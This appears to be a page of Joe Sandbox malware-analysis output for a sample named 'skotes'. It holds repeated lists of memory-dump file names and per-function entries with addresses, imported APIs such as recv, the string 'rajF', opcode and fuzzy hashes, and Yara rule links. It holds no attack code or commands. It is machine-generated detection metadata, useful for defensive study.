Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: rajF
API String ID: 3308344742-2848616852
Opcode ID: fff466b21dd388f55c952fd0f10b7a7d8f560becd9df1c8d512d0bbb118052ba
Instruction ID: 0056f3834531302126409aa6f4bae8c1d0652613493f6ea75253e7966f0965b3
Opcode Fuzzy Hash: fff466b21dd388f55c952fd0f10b7a7d8f560becd9df1c8d512d0bbb118052ba
Instruction Fuzzy Hash: 5251E771600B049FDB24DF68C884B6AB7E9EF04724F148A6DE4A6C77D1DB74AD00CB90

Function 0011C452 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 144COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 0011C4F8
__Xtime_diff_to_millis2.LIBCPMT ref: 0011C542
_xtime_get.LIBCPMT ref: 0011C561

Strings

rajF, xrefs: 0011C458

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: _xtime_get$Xtime_diff_to_millis2
String ID: rajF
API String ID: 2858396081-2848616852
Opcode ID: 50a68fdf7386937879da57b122d581d89f39b6ddf00bbbc0dee1f11bda07b2a7
Instruction ID: 8a4327884c7d0a46531fb275e6c4a99696459ba6219719b14c8764045a5ab446
Opcode Fuzzy Hash: 50a68fdf7386937879da57b122d581d89f39b6ddf00bbbc0dee1f11bda07b2a7
Instruction Fuzzy Hash: 99517C71A40216CBCF68DF64C5919F977B6EF08310B24846AE806AB656DB30FDC1CBE5

Function 0010E0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0010E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0010E140

Strings

rajF, xrefs: 0010E0D4

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: recv
String ID: rajF
API String ID: 1507349165-2848616852
Opcode ID: 4a8ef98bce8e70ede21500fbd17e09402f77c90654833cf6ee4ff9f4cf0612bd
Instruction ID: 3e58fa6028869cde26291f77df37dbda60826b068c473ef9c42d68a96ffd48c1
Opcode Fuzzy Hash: 4a8ef98bce8e70ede21500fbd17e09402f77c90654833cf6ee4ff9f4cf0612bd
Instruction Fuzzy Hash: CD31F671A402489BD720CBADDC81BEB7BFCEB08724F040625F511E77D1CBB4A8848BA0

Function 0013CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0013CC66

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: f20397af0c20fa4514335ad68fc234eb4813d4f6397660fd3ccaa1b8b73e6fcc
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 03B111329042869FDB15CF68C881BAEBFA5EF55350F15817AE859FB242D7349D01CBE0

Function 001026B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00102846
___std_exception_destroy.LIBVCRUNTIME ref: 001028E0

Strings

rajF, xrefs: 001026D8

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: rajF
API String ID: 2970364248-2848616852
Opcode ID: 64cf1266d271c115aae9f57cfc5c85553f140d906722a83e0f0259b9e13bdfe7
Instruction ID: 784c388519b1093c4aebf464ff718e8b6cb3b9cea6c88bff73781d9fd3fcfb4e
Opcode Fuzzy Hash: 64cf1266d271c115aae9f57cfc5c85553f140d906722a83e0f0259b9e13bdfe7
Instruction Fuzzy Hash: 30719071E002489BDB09CFA8C885BDDFBB5EF59310F14812DE855B7281E774A984CBA5

Function 0010DBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 0010E09D
rajF, xrefs: 0010DBE6, 0010DD2F

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
